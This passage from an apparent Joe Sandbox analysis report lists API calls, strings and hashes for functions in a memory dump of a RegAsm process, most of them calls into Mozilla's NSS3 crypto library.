PK11_HPKE_DestroyContext.NSS3(?,00000001), ref: 6C4A2AF9
free.MOZGLUE(?), ref: 6C4A2B16
PR_Unlock.NSS3(?), ref: 6C4A2B6D
PR_Unlock.NSS3(?), ref: 6C4A2B80

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Monitor$Enter$Value$Exit$CriticalSection$Unlock$ContextDestroyIdentitiesK11_LayerLeavefree
String ID:
API String ID: 2841089016-0
Opcode ID: c14636d991934ad39b1652a7ce581292d2bdc8f50bbedb43e139b00f6a04dec9
Instruction ID: bd8640b111bbe85042876d7e45b6211e811be412645c48d6cd38787d2e23d0b1
Opcode Fuzzy Hash: c14636d991934ad39b1652a7ce581292d2bdc8f50bbedb43e139b00f6a04dec9
Instruction Fuzzy Hash: 4581B1B5A006009BEB20DF76EC45F97B7E4AF25309F05492CD85EC6B11EB32E519CB91

Function 6C468E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C468E01,00000000,6C469060,6C570B64), ref: 6C468E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C468E01,00000000,6C469060,6C570B64), ref: 6C468E9E
PORT_ArenaAlloc_Util.NSS3(6C570B64,00000001,?,?,?,?,6C468E01,00000000,6C469060,6C570B64), ref: 6C468EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C468E01,00000000,6C469060,6C570B64), ref: 6C468EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C468E01,00000000,6C469060,6C570B64), ref: 6C468ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C468E01,00000000,6C469060,6C570B64), ref: 6C468EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C468E01), ref: 6C468EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C570B64,6C570B64), ref: 6C468F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C468F3F

Part of subcall function 6C46A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C46A421,00000000,00000000,6C469826), ref: 6C46A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C46904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C468E76

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 7f21f60e5e8813bf3aed6ef4146cc92c3d9693363f6a68211ff538629d22587c
Instruction ID: ae6f7f173f915d98898bb4ff2ed851a1c33120fb5504d1432e345eac2eef47ef
Opcode Fuzzy Hash: 7f21f60e5e8813bf3aed6ef4146cc92c3d9693363f6a68211ff538629d22587c
Instruction Fuzzy Hash: A961BFB5D002069BDB10CF66CC80EABB7B5EF95359F144128DC58A7B44E732AD16CBA0

Function 6C418E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C418E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C418E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C418EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C5418D0,?), ref: 6C418F03
PR_CallOnce.NSS3(6C572AA4,6C4712D0), ref: 6C418F19
PL_FreeArenaPool.NSS3(?), ref: 6C418F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C418F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C418F65
PL_FinishArenaPool.NSS3(?), ref: 6C418FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C418FFE
PR_CallOnce.NSS3(6C572AA4,6C4712D0), ref: 6C419012
PL_FreeArenaPool.NSS3(?), ref: 6C419024
PL_FinishArenaPool.NSS3(?), ref: 6C41902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C41903E

Strings

security, xrefs: 6C418EE7

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 0877bea76f4d0985333367599f892b2b0c2167ff7f22f62974352d72444f7b34
Instruction ID: 4f8e412de68f12fbb8126dbc620da57db496ec9e8aca6b1192300993ada3b319
Opcode Fuzzy Hash: 0877bea76f4d0985333367599f892b2b0c2167ff7f22f62974352d72444f7b34
Instruction Fuzzy Hash: C051F5B160C300ABD710DA149C41FFB77E9AB8575CF46082EF89997F40E771D90986A3

Function 6C4DCD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C4DCC7B), ref: 6C4DCD7A

Part of subcall function 6C4DCE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6C44C1A8,?), ref: 6C4DCE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C4DCDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C4DCDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6C4DCDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C4DCD8E

Part of subcall function 6C4005C0: PR_EnterMonitor.NSS3 ref: 6C4005D1
Part of subcall function 6C4005C0: PR_ExitMonitor.NSS3 ref: 6C4005EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6C4DCDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C4DCDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C4DCE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C4DCE29
PR_UnloadLibrary.NSS3(00000000), ref: 6C4DCE48

Strings

getnameinfo, xrefs: 6C4DCDB2, 6C4DCE23
freeaddrinfo, xrefs: 6C4DCD9F, 6C4DCE10
getaddrinfo, xrefs: 6C4DCD88, 6C4DCDF9
wship6.dll, xrefs: 6C4DCDE3
ws2_32.dll, xrefs: 6C4DCD75

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 885560f070764099feb8170e7c5ede9831ba27bea45695c30678ae3a4e20c75a
Instruction ID: a04a8313adf6d17c9de16d9a0947c6bc1fe036e33ee74f6cca143b2c9914cb96
Opcode Fuzzy Hash: 885560f070764099feb8170e7c5ede9831ba27bea45695c30678ae3a4e20c75a
Instruction Fuzzy Hash: A4110AF5F5252156DB01FFB12C20E9F3A996B0210DF164538D809D2F40FB20D54C86FA

Function 6C480C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,Hl), ref: 6C480C81

Part of subcall function 6C46BE30: SECOID_FindOID_Util.NSS3(6C42311B,00000000,?,6C42311B,?), ref: 6C46BE44

Part of subcall function 6C458500: SECOID_GetAlgorithmTag_Util.NSS3(6C4595DC,00000000,00000000,00000000,?,6C4595DC,00000000,00000000,?,6C437F4A,00000000,?,00000000,00000000), ref: 6C458517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C480CC4

Part of subcall function 6C46FAB0: free.MOZGLUE(?,-00000001,?,?,6C40F673,00000000,00000000), ref: 6C46FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C480CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C480D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C480D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C480D7D
free.MOZGLUE(00000000), ref: 6C480DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C480DC1
free.MOZGLUE(00000000), ref: 6C480DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C480E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C480E0F

Part of subcall function 6C4595C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C437F4A,00000000,?,00000000,00000000), ref: 6C4595E0
Part of subcall function 6C4595C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C437F4A,00000000,?,00000000,00000000), ref: 6C4595F5
Part of subcall function 6C4595C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C459609
Part of subcall function 6C4595C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C45961D
Part of subcall function 6C4595C0: PK11_GetInternalSlot.NSS3 ref: 6C45970B
Part of subcall function 6C4595C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C459756
Part of subcall function 6C4595C0: PK11_GetIVLength.NSS3(?), ref: 6C459767
Part of subcall function 6C4595C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C45977E
Part of subcall function 6C4595C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C45978E

Strings

*,Hl, xrefs: 6C480DCC
-$Hl, xrefs: 6C480C64
*,Hl, xrefs: 6C480C69, 6C480DE0, 6C480C80, 6C480C8B, 6C480CAF

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,Hl$*,Hl$-$Hl
API String ID: 3136566230-1494629551
Opcode ID: 722a4a6c32feac4330b8fcec4c4e41a5093b41372203a7c16849d0b704949251
Instruction ID: ecb2c74b5914de9f51d3fb82bd53062600388b3821f659a1922b553e8bc75ddc
Opcode Fuzzy Hash: 722a4a6c32feac4330b8fcec4c4e41a5093b41372203a7c16849d0b704949251
Instruction Fuzzy Hash: FD41D0B1912245ABEB00DF65DC41FAF76B4EF04309F104128ED196BB41E735EA14CBE2

Function 6C476CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C541DE0,?), ref: 6C476CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C476D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C476D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C476D82
DER_GetInteger_Util.NSS3(?), ref: 6C476DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C476DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C476E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C476F19
PK11_DigestBegin.NSS3(00000000), ref: 6C476F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C476F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C477011
PK11_FreeSymKey.NSS3(00000000), ref: 6C477033
free.MOZGLUE(?), ref: 6C47703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C477060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C477087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C4770AF

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 766a3fb3a1712aaa6982148b1a5894fdc4271c1446482408f1f76b25b93edc17
Instruction ID: f25d02c8f63fd0f61182b9ab41f286115faedfcdfe4aa4a7d92b29612f9ad8c2
Opcode Fuzzy Hash: 766a3fb3a1712aaa6982148b1a5894fdc4271c1446482408f1f76b25b93edc17
Instruction Fuzzy Hash: ADA109719192009BEB20DF24CC95FEA32A6DB8130DF24493DE918DBB81E775D85987B3

Function 6C43AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C41AB95,00000000,?,00000000,00000000,00000000), ref: 6C43AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C41AB95,00000000,?,00000000,00000000,00000000), ref: 6C43AF39
PR_Unlock.NSS3(?,?,?,6C41AB95,00000000,?,00000000,00000000,00000000), ref: 6C43AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C41AB95,00000000,?,00000000,00000000,00000000), ref: 6C43AF69
TlsGetValue.KERNEL32 ref: 6C43B06B
EnterCriticalSection.KERNEL32(?), ref: 6C43B083
PR_Unlock.NSS3(?), ref: 6C43B0A4
TlsGetValue.KERNEL32 ref: 6C43B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C43B0D9
PR_Unlock.NSS3 ref: 6C43B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C43B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C43B182

Part of subcall function 6C46FAB0: free.MOZGLUE(?,-00000001,?,?,6C40F673,00000000,00000000), ref: 6C46FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C43B177

Part of subcall function 6C4BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C4BC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C41AB95,00000000,?,00000000,00000000,00000000), ref: 6C43B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C41AB95,00000000,?,00000000,00000000,00000000), ref: 6C43B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C41AB95,00000000,?,00000000,00000000,00000000), ref: 6C43B1C2

Part of subcall function 6C461560: TlsGetValue.KERNEL32(00000000,?,6C430844,?), ref: 6C46157A
Part of subcall function 6C461560: EnterCriticalSection.KERNEL32(?,?,?,6C430844,?), ref: 6C46158F
Part of subcall function 6C461560: PR_Unlock.NSS3(?,?,?,?,6C430844,?), ref: 6C4615B2

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: b6daeb3e984cb8599990c65ee077bc2c4749d640752b58235b66eb503df49eb7
Instruction ID: b511f43bbe65e1559e8265b4749b14c6e3bdd829abf552c20c322c35aae5cef5
Opcode Fuzzy Hash: b6daeb3e984cb8599990c65ee077bc2c4749d640752b58235b66eb503df49eb7
Instruction Fuzzy Hash: 46A1EFB1E002159BEF01DF65DC81FEAB7B4AF49309F104128E809A7751E735E999CBE1

Function 6C432C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?Cl,?,6C42E477,?,?,?,00000001,00000000,?,?,6C433F23,?), ref: 6C432C62
EnterCriticalSection.KERNEL32(0000001C,?,6C42E477,?,?,?,00000001,00000000,?,?,6C433F23,?), ref: 6C432C76
PL_HashTableLookup.NSS3(00000000,?,?,6C42E477,?,?,?,00000001,00000000,?,?,6C433F23,?), ref: 6C432C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C42E477,?,?,?,00000001,00000000,?,?,6C433F23,?), ref: 6C432C93

Part of subcall function 6C4BDD70: TlsGetValue.KERNEL32 ref: 6C4BDD8C
Part of subcall function 6C4BDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C4BDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C42E477,?,?,?,00000001,00000000,?,?,6C433F23,?), ref: 6C432CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C42E477,?,?,?,00000001,00000000,?,?,6C433F23,?), ref: 6C432CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C42E477,?,?,?,00000001,00000000,?,?,6C433F23), ref: 6C432CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C42E477,?,?,?,00000001,00000000,?), ref: 6C432CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C42E477,?,?,?,00000001,00000000,?), ref: 6C432D4D
EnterCriticalSection.KERNEL32(?), ref: 6C432D61
PL_HashTableLookup.NSS3(?,?), ref: 6C432D71
PR_Unlock.NSS3(?), ref: 6C432D7E

Part of subcall function 6C4007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C39204A), ref: 6C4007AD
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C39204A), ref: 6C4007CD
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C39204A), ref: 6C4007D6
Part of subcall function 6C4007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C39204A), ref: 6C4007E4
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,6C39204A), ref: 6C400864
Part of subcall function 6C4007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C400880
Part of subcall function 6C4007A0: TlsSetValue.KERNEL32(00000000,?,?,6C39204A), ref: 6C4008CB
Part of subcall function 6C4007A0: TlsGetValue.KERNEL32(?,?,6C39204A), ref: 6C4008D7
Part of subcall function 6C4007A0: TlsGetValue.KERNEL32(?,?,6C39204A), ref: 6C4008FB

Strings

#?Cl, xrefs: 6C432C43

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?Cl
API String ID: 2446853827-597970132
Opcode ID: dcce68347e69c4e57a690a1fd458e576d4439bbe32f1ff56ebe158448d9cfcf3
Instruction ID: 440721a25bce4e587b9f9359dc00615bdb7deac94fa4980b31da8f9852c71c24
Opcode Fuzzy Hash: dcce68347e69c4e57a690a1fd458e576d4439bbe32f1ff56ebe158448d9cfcf3
Instruction Fuzzy Hash: F6512676D00214ABEB01EF25DC45CAA7778BF59258B058538EC1C9BB12EB31E964C7E1

Function 6C48AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C48ADB1

Part of subcall function 6C46BE30: SECOID_FindOID_Util.NSS3(6C42311B,00000000,?,6C42311B,?), ref: 6C46BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C48ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C48AE08

Part of subcall function 6C46B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C5418D0,?), ref: 6C46B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C48AE25
PL_FreeArenaPool.NSS3 ref: 6C48AE63
PR_CallOnce.NSS3(6C572AA4,6C4712D0), ref: 6C48AE4D

Part of subcall function 6C394C70: TlsGetValue.KERNEL32(?,?,?,6C393921,6C5714E4,6C4DCC70), ref: 6C394C97
Part of subcall function 6C394C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C393921,6C5714E4,6C4DCC70), ref: 6C394CB0
Part of subcall function 6C394C70: PR_Unlock.NSS3(?,?,?,?,?,6C393921,6C5714E4,6C4DCC70), ref: 6C394CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C48AE93
PR_CallOnce.NSS3(6C572AA4,6C4712D0), ref: 6C48AECC
PL_FreeArenaPool.NSS3 ref: 6C48AEDE
PL_FinishArenaPool.NSS3 ref: 6C48AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C48AEF5
PL_FinishArenaPool.NSS3 ref: 6C48AF16

Strings

security, xrefs: 6C48ADEE

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 816cde1de10118d84380a1f36f604cdb4276d73c3502c99179bf1a0473974ce1
Instruction ID: 50dfa5dd8de2bbdd9a1167b05ba0e5a89466b555e7102c34cc63ebc36aab7e4f
Opcode Fuzzy Hash: 816cde1de10118d84380a1f36f604cdb4276d73c3502c99179bf1a0473974ce1
Instruction Fuzzy Hash: 6C4126B1885210A7EB21DA289C45FFA32B8EF4130DF100929E954A2FC1FBB5D559C6F3

Function 6C52AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4D9890: TlsGetValue.KERNEL32(?,?,?,6C4D97EB), ref: 6C4D989E

EnterCriticalSection.KERNEL32(?), ref: 6C52AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6C52AFCE
PR_SetPollableEvent.NSS3(?), ref: 6C52AFD9
EnterCriticalSection.KERNEL32(?), ref: 6C52AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C52B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6C52B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6C52B070
PR_JoinThread.NSS3(?), ref: 6C52B07B
free.MOZGLUE(?), ref: 6C52B084
EnterCriticalSection.KERNEL32(?), ref: 6C52B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6C52B0C4
PR_JoinThread.NSS3(?), ref: 6C52B0F3
free.MOZGLUE(?), ref: 6C52B0FC
PR_JoinThread.NSS3(?), ref: 6C52B137
free.MOZGLUE(?), ref: 6C52B140

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
